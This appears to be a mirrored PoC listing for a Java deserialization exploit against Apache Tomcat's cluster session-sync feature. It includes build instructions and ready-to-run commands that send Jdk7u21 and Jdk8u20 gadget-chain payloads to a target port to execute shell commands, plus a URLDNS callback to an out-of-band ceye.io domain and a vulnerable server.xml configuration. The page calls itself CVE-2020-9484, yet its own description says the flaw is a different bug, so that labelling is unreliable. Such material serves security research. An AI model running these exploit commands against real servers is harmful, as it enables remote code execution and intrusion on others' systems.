CVE-2020-9484 PoC — Apache Tomcat 代码问题漏洞

Source

https://github.com/threedr3am/tomcat-cluster-session-sync-exp

Associated Vulnerability

Title:Apache Tomcat 代码问题漏洞 (CVE-2020-9484)
Description:When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.

Description

tomcat使用了自带session同步功能时，不安全的配置（没有使用EncryptInterceptor）导致存在的反序列化漏洞，通过精心构造的数据包， 可以对使用了tomcat自带session同步功能的服务器进行攻击。PS:这个不是CVE-2020-9484，9484是session持久化的洞，这个是session集群同步的洞！

Readme

*工具仅用于安全研究以及内部自查，禁止使用工具发起非法攻击，造成的后果使用者负责*

### tomcat cluster sync-session 利用exp

这是一个tomcat使用了自带session同步功能时，不安全的配置（没有使用EncryptInterceptor）导致存在的反序列化漏洞，通过精心构造的数据包，
可以对使用了tomcat自带session同步功能的服务器进行攻击。


### 使用

先编译出jar包：
```
mvn clean compile assembly:assembly
```
生成jar包存在于target目录下

使用，例：

```
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"
```

### 条件
1. tomcat启用了session同步，没有配置EncryptInterceptor
2. jdk版本低于jdk8u20、jdk7u21（不知道有没有错）
3. 同步端点可访问（一般是内网）

### tomcat-session同步配置
（conf/server.xml）：
```
<Server>
    ...
    
    <Service>
        ...
        
        <Engine>
            ...
            
            <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
                    channelSendOptions="6">
            
                    <Manager className="org.apache.catalina.ha.session.BackupManager"
                      expireSessionsOnShutdown="false"
                      notifyListenersOnReplication="true"
                      mapSendOptions="6"/>
            
            
                    <Channel className="org.apache.catalina.tribes.group.GroupChannel">
                      <Membership className="org.apache.catalina.tribes.membership.McastService"
                        address="228.0.0.4"
                        port="45564"
                        frequency="500"
                        dropTime="3000"/>
                      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                        address="123.123.123.123"
                        port="5000"
                        selectorTimeout="100"
                        maxThreads="6"/>
            
                      <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
                        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
                      </Sender>
                    </Channel>
            
                    <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
                      filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
            
                    <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
                      tempDir="/tmp/war-temp/"
                      deployDir="/tmp/war-deploy/"
                      watchDir="/tmp/war-listen/"
                      watchEnabled="false"/>
            
                    <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
            </Cluster>
        </Engine>
  </Service>
</Server>
```

File Snapshot


 [4.0K]  /data/pocs/0bd313a68ddefa0b4e12060dbfcee3106ab2f9ec
├── [1.4K]  pom.xml
├── [3.3K]  README.md
└── [4.0K]  src
    └── [4.0K]  main
        └── [4.0K]  java
            └── [4.0K]  me
                └── [4.0K]  threedr3am
                    └── [4.0K]  exp
                        ├── [4.0K]  payload
                        │   ├── [2.4K]  Jdk7u21.java
                        │   ├── [8.8K]  Jdk8u20.java
                        │   ├── [ 153]  Payload.java
                        │   ├── [ 393]  Payloads.java
                        │   └── [3.1K]  URLDNS.java
                        ├── [4.0K]  support
                        │   ├── [8.0K]  ChannelData.java
                        │   ├── [3.1K]  ChannelMessage.java
                        │   ├── [1.4K]  ClusterMessageBase.java
                        │   ├── [1.1K]  ClusterMessage.java
                        │   ├── [ 19K]  MemberImpl.java
                        │   ├── [5.3K]  Member.java
                        │   ├── [5.6K]  SessionMessageImpl.java
                        │   ├── [3.8K]  SessionMessage.java
                        │   ├── [2.8K]  UUIDGenerator.java
                        │   └── [ 16K]  XByteBuffer.java
                        ├── [3.7K]  TomcatSessionClusterExploit.java
                        └── [4.0K]  utils
                            ├── [1.2K]  ClassFiles.java
                            ├── [1.3K]  Converter.java
                            ├── [7.2K]  Gadgets.java
                            ├── [2.5K]  Reflections.java
                            └── [ 805]  Serializer.java

9 directories, 23 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!